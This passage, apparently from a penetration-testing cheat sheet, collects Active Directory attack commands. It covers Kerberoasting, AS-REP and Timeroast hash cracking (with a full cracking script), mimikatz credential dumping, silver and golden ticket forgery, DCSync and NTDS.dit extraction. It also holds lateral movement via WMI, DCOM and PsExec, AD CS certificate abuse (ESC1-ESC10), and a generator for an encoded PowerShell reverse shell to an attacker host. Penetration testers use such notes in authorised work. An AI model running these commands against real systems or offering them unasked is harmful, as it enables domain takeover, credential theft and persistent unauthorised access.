$ bloodyAD --host <RHOST> --dc-ip <RHOST> -d <DOMAIN> -k set object '<USERNAME>' servicePrincipalName -v 'cifs/<USERNAME>'
```

```console
$ netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' --kerberoast hashes.kerberoast
$ netexec ldap <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -k --kerberoast hashes.kerberoast
```

## Active Directory

### Enumeration

#### Manual Enumeration

```cmd
PS C:\> net user /domain
PS C:\> net user <USERNAME> /domain
PS C:\> net group /domain
PS C:\> net group "<GROUP>" /domain
PS C:\> Get-NetComputer
PS C:\> Get-NetComputer | select operatingsystem,dnshostname
PS C:\> Find-LocalAdminAccess
PS C:\> Get-NetSession -ComputerName <RHOST>
PS C:\> Get-NetSession -ComputerName <RHOST> -Verbose
PS C:\> Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl
PS C:\> Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion
```

#### Enumeration using PowerView

```cmd
PS C:\> powershell -ep bypass
PS C:\> . .\PowerUp.ps1
PS C:\> Get-NetDomain
PS C:\> Get-NetUser
PS C:\> Get-NetUser | select cn
PS C:\> Get-NetUser | select cn,pwdlastset,lastlogon
PS C:\> Get-NetGroup | select cn
PS C:\> Get-NetGroup "<GROUP>" | select member
PS C:\> Convert-SidToName S-1-5-21-1987370373-658406905-1781884369-1104
```

#### Service Principal Name (SPN) Enumeration

```cmd
PS C:\> setspn -L iis_service
PS C:\> Get-NetUser -SPN | select samaccountname,serviceprincipalname
PS C:\> nslookup.exe <RHOST>
```

#### Object Permission Enumeration

| Permission | Description |
| --- | --- |
| GenericAll | Full permissions on object |
| GenericWrite | Edit certain attributes on the object |
| WriteOwner | Change ownership of the object |
| WriteDACL | Edit ACE's applied to object |
| AllExtendedRights | Change password, reset password, etc. |
| ForceChangePassword | Password change for object |
| Self (Self-Membership) | Add ourselves to for example a group |

```cmd
PS C:\> Get-ObjectAcl -Identity <USERNAME>
PS C:\> Get-ObjectAcl -Identity "<GROUP>" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights
PS C:\> Get-NetGroup "<GROUP>" | select member
PS C:\> net group "<GROUP>" <USERNAME> /add /domain
PS C:\> net group "<GROUP>" <USERNAME> /del /domain
```

#### Share Enumeration

```cmd
PS C:\> Find-DomainShare
PS C:\> ls \\<RHOST>\sysvol\<DOMAIN>\
PS C:\> ls \\<RHOST>\sysvol\<DOMAIN>\Policies\
PS C:\> cat \\<RHOST>\sysvol\<DOMAIN>\Policies\oldpolicy\old-policy-backup.xml
$ gpp-decrypt "+bsY0V3d4/KgX3VJdO/vgepPfsN1zMFTiQuyApgR92JE"
```

### User Handling

#### Reset Login Hours

```cmd
PS C:\> Set-ADUser -Identity "<USERNAME>" -Clear logonHours
```

or

```cmd
PS C:\> $bytes = [byte[]](0..20 | ForEach-Object { 255 })
```

```cmd
PS C:\> Set-ADUser -Identity <USERNAME> -Replace @{logonHours = $bytes}
```

### Credential Harvesting

#### Cached Credentials

```cmd
PS C:\> .\mimikatz.exe
mimikatz # sekurlsa::logonpasswords
PS C:\> dir \\<RHOST>\<SHARE>
mimikatz # sekurlsa::tickets
```

#### AS-REP Roasting

```console
$ impacket-GetNPUsers -dc-ip <RHOST> -request -outputfile hashes.asreproast <DOMAIN>/<USERNAME>
$ hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
```

```cmd
PS C:\> .\Rubeus.exe asreproast /nowrap
$ hashcat -m 18200 hashes.asreproast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
```

#### Kerberoasting

```console
$ impacket-GetUserSPNs -dc-ip <RHOST> -request <DOMAIN>/<USERNAME>
$ hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
```

```cmd
PS C:\> .\Rubeus.exe kerberoast /outfile:hashes.kerberoast
$ hashcat -m 13100 hashes.kerberoast2 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
```

#### Timeroasting

> https://github.com/SecuraBV/Timeroast

##### Script Modification

```python
  argparser.add_argument('hashes', type=FileType('r'), help='Output of timeroast.py')
  argparser.add_argument('dictionary', type=FileType('r'), help='Line-delimited password dictionary')
```

```python
  argparser.add_argument('hashes', type=lambda f: open(f, 'r', encoding='latin-1'), help='Output of timeroast.py')
  argparser.add_argument('dictionary', type=lambda f: open(f, 'r', encoding='latin-1'), help='Line-delimited password dictionary')
```

##### Modified timecrack.py

```python
#!/usr/bin/env python3

"""Perform a simple dictionary attack against the output of timeroast.py. Neccessary because the NTP 'hash' format 
unfortunately does not fit into Hashcat or John right now.

Not even remotely optimized, but still useful for cracking legacy default passwords (where the password is the computer 
name) or specific default passwords that are popular in an organisation.
"""

from binascii import hexlify, unhexlify
from argparse import ArgumentParser, FileType, RawDescriptionHelpFormatter
from typing import TextIO, Generator, Tuple
import hashlib, sys, re

HASH_FORMAT = r'^(?P<rid>\d+):\$sntp-ms\$(?P<hashval>[0-9a-f]{32})\$(?P<salt>[0-9a-f]{96})$'

def md4(data : bytes) -> bytes:
  try:
    return hashlib.new('md4', data).digest()
  except ValueError:
    # Use pure-Python implementation by James Seo in case local OpenSSL does not support MD4.
    from md4 import MD4
    return MD4(data).bytes()

def compute_hash(password : str, salt : bytes) -> bytes:
  """Compute a legacy NTP authenticator 'hash'."""
  return hashlib.md5(md4(password.encode('utf-16le')) + salt).digest()
    

def try_crack(hashfile : TextIO, dictfile : TextIO) -> Generator[Tuple[int, str], None, None]:
  # Try each dictionary entry for each hash. dictfile is read iteratively while hashes are stored in RAM.
  hashes = []
  for line in hashfile:
    line = line.strip()
    if line:
      m = re.match(HASH_FORMAT, line)
      if not m:
        print(f'ERROR: invalid hash format: {line}', file=sys.stderr)
        sys.exit(1)
      rid, hashval, salt = m.group('rid', 'hashval', 'salt')
      hashes.append((int(rid), unhexlify(hashval), unhexlify(salt)))
      
  
  for password in dictfile:
    password = password.strip()
    for rid, hashval, salt in hashes:
      if compute_hash(password, salt) == hashval:
        yield rid, password

def main():
  argparser = ArgumentParser(formatter_class=RawDescriptionHelpFormatter, description=\
"""Perform a simple dictionary attack against the output of timeroast.py.

Not even remotely optimized, but still useful for cracking legacy default 
passwords (where the password is the computer name) or specific default 
passwords that are popular in an organisation.
""")

  argparser.add_argument('hashes', type=lambda f: open(f, 'r', encoding='latin-1'), help='Output of timeroast.py')
  argparser.add_argument('dictionary', type=lambda f: open(f, 'r', encoding='latin-1'), help='Line-delimited password dictionary')
  args = argparser.parse_args()

  crackcount = 0
  for rid, password in try_crack(args.hashes, args.dictionary):
    print(f'[+] Cracked RID {rid} password: {password}')
    crackcount += 1

  print(f'\n{crackcount} passwords recovered.')

if __name__ == '__main__':
  main()

```

##### Execution

```console
$ python3 timecrack.py <FILE> /PATH/TO/WORDLIST/<WORDLIST>
```

#### Silver Tickets

##### Prerequisites

- SPN password hash
- Domain SID
- Target SPN

##### Silver Ticket Forgery

```cmd
PS C:\> iwr -UseDefaultCredentials http://<RHOST>
PS C:\> .\mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords    // NTLM: 4d28cf5252d39971419580a51484ca09
PS C:\> whoami /user                   // SID: S-1-5-21-1987370270-658905905-1781884369-1105 (S-1-5-21-1987370270-658905905-1781884369)
mimikatz # kerberos::golden /sid:S-1-5-21-1987370270-658905905-1781884369 /domain:<DOMAIN> /ptt /target:<RHOST> /service:http /rc4:4d28cf5252d39971419580a51484ca09 /user:<USERNAME>
PS C:\> klist
```

###### Check Access Permissions

```cmd
PS C:\> iwr -UseDefaultCredentials http://<RHOST>
```

#### Domain Controller Synchronization (DCSync)

##### Prerequisites

- Replicating Directory Changes
- Replicating Directory Changes All
- Replicating Directory Changes in Filtered

##### Domain Controller Synchonization Execution

```cmd
PS C:\> .\mimikatz.exe
mimikatz # lsadump::dcsync /user:<DOMAIN>\<USERNAME>
mimikatz # lsadump::dcsync /user:<DOMAIN>\Administrator
$ hashcat -m 1000 <FILE> /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
```

```console
$ impacket-secretsdump -just-dc-user <USERNAME> <DOMAIN>/<USERNAME>:"<PASSWORD>"@<RHOST>
```

### Lateral Movement

#### Windows Management Instrumentation (WMI)

##### Spawning Process

```cmd
C:\> wmic /node:<RHOST> /user:<USERNAME> /password:<PASSWORD> process call create "cmd"
```

##### Store Credentials

```cmd
PS C:\> $username = '<USERNAME>';
PS C:\> $password = '<PASSWORD>';
PS C:\> $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
```

##### Instanciate Distributed Component Object MOdel (DCOM)

```cmd
PS C:\> $options = New-CimSessionOption -Protocol DCOM
PS C:\> $session = New-Cimsession -ComputerName <RHOST> -Credential $credential -SessionOption $Options 
PS C:\> $command = 'cmd';
```

##### Execution

```cmd
PS C:\> Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
```

##### Creating Payload

###### revshell_encoder.py

```python
import sys
import base64

payload = '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",<LPORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()

print(cmd)
```

###### Encode Payload

```console
$ python3 encode.py
```

```console
powershell -nop -w hidden -e JAB<--- SNIP --->CkA
```

###### Execution

```cmd
PS C:\> $username = '<USERNAME>';
PS C:\> $password = '<PASSWORD>';
PS C:\> $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
PS C:\> $options = New-CimSessionOption -Protocol DCOM
PS C:\> $session = New-Cimsession -ComputerName <RHOST> -Credential $credential -SessionOption $Options 
PS C:\> $command = 'powershell -nop -w hidden -e JAB<--- SNIP --->CkA';
PS C:\> Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
```

#### Windows Remote Shell (WinRS)

##### Prerequisites

- User needs to be part of the Administrators or Remote Management Users group on the target host

##### Execution

```cmd
C:\> winrs -r:<RHOST> -u:<USERNAME> -p:<PASSWORD> "cmd /c hostname & whoami"
C:\> winrs -r:<RHOST> -u:<USERNAME> -p:<PASSWORD> "powershell -nop -w hidden -e JAB<--- SNIP --->CkA"
```

##### PowerShell

```cmd
PS C:\> $username = '<USERNAME>';
PS C:\> $password = '<PASSWORD>';
PS C:\> $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
PS C:\> New-PSSession -ComputerName <RHOST> -Credential $credential
PS C:\> Enter-PSSession 1
```

#### PsExec

```cmd
PS C:\> .\PsExec64.exe -i \\<RHOST> -u <DOMAIN>\<USERNAME> -p <PASSWORD> cmd
```

#### Pass the Hash (PtH)

```console
$ impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E Administrator@<RHOST>
```

#### Overpass the Hash

```cmd
PS C:\> .\mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::pth /user:<USERNAME> /domain:<DOMAIN> /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
PS C:\> klist
PS C:\> dir \\<RHOST>\<SHARE>
PS C:\> klist
```

##### Execution

```cmd
PS C:\> .\PsExec.exe \\<RHOST> cmd
```

#### Pass the Ticket

##### Prerequisites

- Export an already existing ticket of a user

##### Exporting the Ticket

```cmd
PS C:\> .\mimikatz.exe
mimikatz # privilege::debug
mimikatz #sekurlsa::tickets /export
PS C:\> dir *.kirbi
mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-<USERNAME>@cifs-<RHOST>.kirbi
PS C:\> klist
```

##### Execution

```cmd
PS C:\> .\PsExec.exe \\<RHOST> cmd
```

#### Distributed Component Object Model (DCOM)

##### Prerequisites

- Elevated PowerShell session

##### Creating and storing the Distributed Component Object Model

```cmd
PS C:\> $dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","<RHOST>"))
PS C:\> $dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c cmd","7")
C:\> tasklist | findstr "cmd"
```

##### Execution

```cmd
PS C:\> $dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JAB<--- SNIP --->CkA","7")
```

### Active Directory Persistence

#### Golden Tickets

##### Prerequisites

- Hash of krbtgt

##### Forge and Inject Golden Ticket

```cmd
PS C:\> .\mimikatz.exe
mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch
mimikatz # kerberos::purge
mimikatz # kerberos::golden /user:<USERNAME> /domain:<DOMAIN> /sid:S-1-5-21-1987370270-658905905-1781884369 /krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt
mimikatz # misc::cmd
```

##### Execution

Use the `hostname` and not the `IP address` because otherwise it would authenticate via `NTLM` and the access would still be blocked.

```cmd
PS C:\> .\PsExec.exe \\<RHOST> cmd
```

#### Volume Shadow Service (VSS) aka Shadow Copies

> https://developer.microsoft.com/en-us/windows/downloads/windows-sdk/

##### Dumping Credentials

###### Create and collect necessary Files

```cmd
C:\> vshadow.exe -nw -p  C:
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit C:\ntds.dit.bak
C:\> reg.exe save hklm\system C:\system.bak
```

###### Execution

```console
$ impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL
```

##### Accessing Volume Shadow Snapshots (VSS) via Previous Versions

> https://x.com/malmoeb/status/1943310097905533302?t=ra4ykhNmtusNgXxIpKBQDg

```cmd
PS C:\> \\localhost\C$\@ GMT-2025.06.21-10.53.43\Windows\NTDS\ntds.dit
```

### Active Directory Tombstones

#### List all deleted Objects

```cmd
PS C:\> Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects
```

#### Restore deleted Object

```cmd
PS C:\> Restore-ADObject -Identity '938178c3-bf0b-420a-9aaa-45c8e1a04ebf'
```

#### Bulk Restore

```cmd
PS C:\> Get-ADObject -filter {SamAccountName -eq 'cert_admin'} -IncludeDeletedObjects | Restore-ADObject
```

### Read-Only Domain Controller (RODC)

#### RODC Golden Ticket

```cmd
PS C:\> Import-Module .\PowerView.ps1
```

```cmd
PS C:\> Set-DomainObject -Identity <RHOST>$ -Set @{'msDS-RevealOnDemandGroup'=@('CN=Allowed RODC Password Replication Group,CN=Users,DC=<DOMAIN>,DC=<DOMAIN>','CN=Administrator,CN=Users,DC=<DOMAIN>,DC=<DOMAIN>')}
```

```cmd
PS C:\> Set-DomainObject -Identity <RHOST>$ -Clear 'msDS-NeverRevealGroup'
```

```cmd
PS C:\> .\Rubeus.exe golden /rodcNumber:<NUMBER> /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:<FILE>.kirbi /rc4:445aa4221e761db37a10241d912980e2 /user:Administrator /id:500 /domain:<DOMAIN> /sid:S-1-5-21-2502726253-3859040611-225969357
```

```cmd
PS C:\> .\Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/<DOMAIN> /dc:<RHOST> /ticket:ticket_2026_04_05_16_43_15_Administrator_to_krbtgt@<DOMAIN>.kirbi /nowrap
```

```shell
$ cat <FILE>.kirbi.b64 | base64 -d > <FILE>.ticket.kirbi
```

```shell
$ impacket-ticketConverter <FILE>.ticket.kirbi
```

```shell
$ netexec smb <RHOST> --use-kcache --ntds
```

## Active Directory Certificate Services (AD CS)

> https://posts.specterops.io/certified-pre-owned-d95910965cd2

> https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53

> https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

> https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7

> https://github.com/ly4k/Certipy

> https://github.com/ly4k/Certipy/wiki

> https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation

> https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference

> https://github.com/Deloitte-OffSecResearch/Certipy

> https://watchdogsacademy.gitbook.io/attacking-active-directory/active-directory-certificate-services-adcs

> https://docs.google.com/spreadsheets/d/1E5SDC5cwXWz36rPP_TXhhAvTvqz2RGnMYXieu4ZHx64/edit?gid=0#gid=0

> https://www.thehacker.recipes/ad/movement/adcs/certificate-templates

### Find Vulnerabilities in Active Directory Certificate Services (AD CS)

```console
$ certipy-ad find -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -dc-ip <RHOST> -vulnerable -stdout
```

### ESC1: Misconfigured Certificate Templates

#### Prerequisistes

- The Enterprise CA grants low-privileged users enrollment rights
- Manager approval is disabled
	- `mspki-enrollment-flag` attribute needs to be set to `0x00000000`
- No authorized signatures are required
	- `msPKI-RA-Signature` attribute needs to be set to `0x00000000`
- An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users
- The certificate template defines EKUs that enable authentication
	- `mspki-certificate-application-policy` attribute needs to contain at least one of the following: `Client Authentication (1.3.6.1.5.5.7.3.2)`, `PKINIT Client Authentication (1.3.6.1.5.2.3.4)`, `Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2)`, `Any Purpose (OID 2.5.29.37.0)` or `no EKU (SubCA)`
- The certificate template allows requesters to specify a `subjectAltName (SAN)` in the `CSR`
	- `msPKI-Certificate-Name-Flag` attribute needs to be set to `0x00000001`

#### Usage

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -target '<CA>' -template '<TEMPLATE>' -upn 'Administrator@<DOMAIN>' -dns <RHOST>
```

```console
$ certipy-ad auth -pfx Administrator.pfx -dc-ip <RHOST>
```

### ESC2: Misconfigured Certificate Templates

#### Prerequisistes

- The Enterprise CA grants low-privileged users enrollment rights
- Manager approval is disabled
	- `mspki-enrollment-flag` attribute needs to be set to `0x00000000`
- No authorized signatures are required
	- `msPKI-RA-Signature` attribute needs to be set to `0x00000000`
- An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users
- The certificate template defines Any Purpose EKUs or no EKU

#### Usage

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -target '<CA>' -template '<TEMPLATE>'
```

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -target '<CA>' -template User -on-behalf-of '<DOMAIN>\Administrator' -pfx <USERNAME>.pfx
```

```console
$ certipy-ad auth -pfx Administrator.pfx -dc-ip <RHOST>
```

### ESC3: Enrollment Agent Templates

#### Prerequisistes

- The Enterprise CA grants low-privileged users enrollment rights
- Manager approval is disabled
	- `mspki-enrollment-flag` attribute needs to be set to `0x00000000`
- No authorized signatures are required
	- `msPKI-RA-Signature` attribute needs to be set to `0x00000000`
- An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users
- The certificate template defines the Certificate Request Agent EKU
	- The `Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1)` allows for requesting other certificate templates on behalf of other principals
- Enrollment agent restrictions are not implemented on the CA

#### Usage

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -target '<CA>' -template '<TEMPLATE>'
```

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -target '<CA>' -template User -on-behalf-of '<DOMAIN>\Administrator' -pfx <USERNAME>.pfx
```

```console
$ certipy-ad auth -pfx Administrator.pfx -dc-ip <RHOST>
```

### ESC4: Vulnerable Certificate Template Access Control

#### Description

`ESC4` is when a user has `write privileges` over a `certificate template`. This can for instance be abused to `overwrite` the `configuration` of the `certificate template` to make the template vulnerable to `ESC1`.

By default, Certipy will overwrite the configuration to make it vulnerable to `ESC1`.

We can specify the `-save-old` parameter to save the old configuration, which is useful for restoring the configuration afterwards.

#### Usage

```console
$ certipy-ad template -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -template '<TEMPLATE>' -save-old
$ certipy-ad template -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -template '<TEMPLATE>'
```

The certificate template is now vulnerable to the `ESC1` technique.

Therefore, we can now request a certificate based on the `ESC4` template and specify an `arbitrary SAN` with the `-upn` or `-dns` parameter.

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -target <RHOST> -template '<TEMPLATE>' -upn 'Administrator@<DOMAIN>'
```

or

```console
$ certipy-ad req -ca '<CA>' -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <RHOST> -template '<TEMPLATE>' -target <RHOST> -upn 'Administrator@<DOMAIN>' -debug
```

```console
$ certipy-ad auth -pfx Administrator.pfx -dc-ip <RHOST>
```

##### Restore Configuration

```console
$ certipy-ad template -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -template '<TEMPLATE>' -configuration <TEMPLATE>.json
```

### ESC5: Vulnerable PKI Object Access Control

#### Description

A number of objects `outside` of `certificate templates` and the `certificate authority` itself can have a `security impact` on the entire `AD CS` system.

These possibilities include (but are not limited to):

- CA server’s AD computer object (i.e., compromise through RBCD)
- The CA server’s RPC/DCOM server
- Any descendant AD object or container in the container `CN=Public Key Services,CN=Services,CN=Configuration,DC=<COMPANY>,DC=<COM>` (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services container, etc.)

### ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2

#### Description

`ESC6` is when the `CA` specifies the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag. This flag allows the `enrollee` to specify an `arbitrary SAN` on `all certificates` despite a certificate template's configuration.

After the `patch` for the reported vulnerability `CVE-2022–26923`, this technique `no longer works alone`, but must be combined with `ESC10`.

The attack is the same as `ESC1`, except that you can `choose` any `certificate template` that permits `client authentication`. After the `May 2022` security updates, `new certificates` will have a securiy extension that `embeds` the requester's `objectSid` property. For `ESC1`, this property will be `reflected` from the `SAN` specified, but with `ESC6`, this property reflects the requester's `objectSid`, and not from the SAN. Notice that the `objectSid` changes `depending` on the requester.

As such, to abuse `ESC6`, the `environment` must be `vulnerable` to `ESC10 (Weak Certificate Mappings)`, where the `SAN` is preferred `over` the `new security extension`.

#### Usage

```console
$ certipy-ad find -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -dc-ip <RHOST> -vulnerable -stdout
```

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -target '<CA>' -template User -upn 'Administrator@<DOMAIN>'
```

```console
$ certipy-ad req -ca '<CA>' -username 'Administrator@<DOMAIN>' -password '<PASSWORD>' -target '<CA>' -template User -upn 'Administrator@<DOMAIN>'
```

```console
$ certipy-ad auth -pfx Administrator.pfx -dc-ip <RHOST>
```

### ESC7: Vulnerable Certificate Authority Access Control

#### Description

`ESC7` is when a user has the `Manage CA` or `Manage Certificates` access right on a CA. There are no public techniques that can abuse the `Manage Certificates` access right for domain privilege escalation, but it can be used it to issue or deny pending certificate requests.

The `Certified Pre-Owned whitepaper` mentions that this access right can be used to enable the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag to perform the `ESC6` attack, but this will `not have` any effect `until` the `CA service (CertSvc)` is `restarted`.

#### Alternative Technique by ly4k without restarting the CA service (CertSvc) service

##### Prerequisistes

- User must have the `Manage Certificates` access rights
- The certificate template `SubCA` must be enabled.

The technique relies on the fact that users with the `Manage CA` and `Manage Certificates` access right can `issue failed certificate requests`. The `SubCA` certificate `template` is `vulnerable` to `ESC1`, but only administrators can enroll in the template. Thus, a `user` can request to `enroll` in the `SubCA` - `which will be denied` - but then issued by the manager afterwards.

If you only have the `Manage CA` access right, you can grant yourself the `Manage Certificates` access right by adding your user as a new officer.

##### Usage

```console
$ certipy-ad ca -ca '<CA>' -add-officer '<USERNAME>' -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>'
```

```console
$ certipy-ad ca -ca '<CA>' -enable-template SubCA -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>'
```

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -target '<CA>' -template SubCA -upn 'Administrator@<DOMAIN>'
```

```console
$ certipy-ad ca -ca '<CA>' -issue-request <ID> -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>'
```

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -target '<CA>' -retrieve <ID>
```

```console
$ certipy-ad auth -pfx Administrator.pfx -dc-ip <RHOST>
```

### ESC8: NTLM Relay to AD CS HTTP Endpoints

#### Prerequisistes

- Enrollment Service has installed and enabled Web Enrollment via HTTP

#### Usage

```console
$ certipy-ad relay -target 'http://<CA>'
$ certipy-ad relay -ca '<CA>' -template '<TEMPLATE>'
```

```console
$ python3 PetitPotam.py <RHOST> <DOMAIN>
```

```console
$ certipy-ad auth -pfx dc.pfx -dc-ip <RHOST>
```

```console
$ export KRB5CCNAME=dc.ccache
```

```console
$ impacket-secretsdump -k -no-pass <DOMAIN>/<RHOST>@<DOMAIN>
```

##### Coercing

```console
$ impacket-ntlmrelayx -t http://<RHOST>/certsrv/certfnsh.asp -smb2support --adcs --template <TEMPLATE>
```

```console
$ python3 PetitPotam.py <RHOST> <DOMAIN>
```

```console
$ python3 gettgtpkinit.py -pfx-base64 $(cat base64.b64) '<DOMAIN>'/'<RHOST>' 'dc.ccache'
```

```console
$ export KRB5CCNAME=dc.ccache
```

```console
$ impacket-secretsdump -k -no-pass <DOMAIN>/<RHOST>@<DOMAIN>
```

### ESC9: No Security Extensions

#### Prerequisites

- `StrongCertificateBindingEnforcement` set to `1` (default) or `0`
	- `StrongCertificateBindingEnforcement` not set to `2` (default: `1`) or `CertificateMappingMethods` contains `UPN` flag
- Certificate contains the `CT_FLAG_NO_SECURITY_EXTENSION` flag in the `msPKI-Enrollment-Flag` value
- Certificate specifies any client authentication EKU
- `GenericWrite` over any account A to compromise any account B

#### Usage

```console
$ certipy-ad shadow auto -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -account '<USERNAME>'
```

```console
$ certipy-ad account update -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -user '<USERNAME>' -upn 'Administrator@<DOMAIN>'
```

or

```console
$ certipy-ad account update -username '<USERNAME>@<DOMAIN>' -hashes '<HASH>' -user '<USERNAME>' -upn 'Administrator@<DOMAIN>'
```

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>' -hashes '<HASH>' -template '<TEMPLATE>'
```

or

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>' -password '<PASSWORD>' -template '<TEMPLATE>'
```

```console
$ certipy-ad account update -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -user '<USERNAME>' -upn '<USERNAME>@<DOMAIN>'
```

```console
$ certipy-ad auth -pfx Administrator.pfx -domain '<DOMAIN>'
```

#### Usage: Alternative via Computer Object and Email

```console
$ bloodyAD --host <RHOST> --dc-ip <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> add computer '<USERNAME>' '<PASSWORD>'
```

```console
$ certipy-ad account update -username '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -user '<USERNAME>' -upn '<USERNAME>@<DOMAIN>'
```

```console
$ bloodyAD --host <RHOST> --dc-ip <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> add genericAll 'OU=<OU>,DC=<DOMAIN>,DC=<DOMAIN>' '<USERNAME>'
```

```console
$ bloodyAD --host <RHOST> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set object <USERNAME> mail -v <EMAIL>
```

```console
$ certipy-ad req -ca '<CA>' -username '<USERNAME>@<DOMAIN>' -hashes '<HASH>' -template '<TEMPLATE>'
```

```console
$ certipy-ad auth -pfx <FILE>.pfx -domain '<DOMAIN>' -username '<USERNAME>@<DOMAIN>'
```

### ESC10: Weak Certificate Mappings

#### Prerequisistes

- Case 1 : `StrongCertificateBindingEnforcement` set to `0`
	- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement`. Default value `1`, previously `0`
	- `GenericWrite` over any account A to compromise any account B

- Case 2 : `CertificateMappingMethods` contains `UPN` bit `(0x4)`
	- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel CertificateMappingMethods`. Default value `0x18` (`0x8` | `0x10`), previously `0x1F`
	- `GenericWrite` over any account A to compromise any account B without a `userPrincipalName` property (machine accounts and built-in domain administrator Administrator)

#### Usage

##### Case 1

```console
$ certipy-ad shadow auto -username '<USERNAME>@<DOMAIN>' -password '<PASSWORD>' -account '<USERNAME>'
```

```console
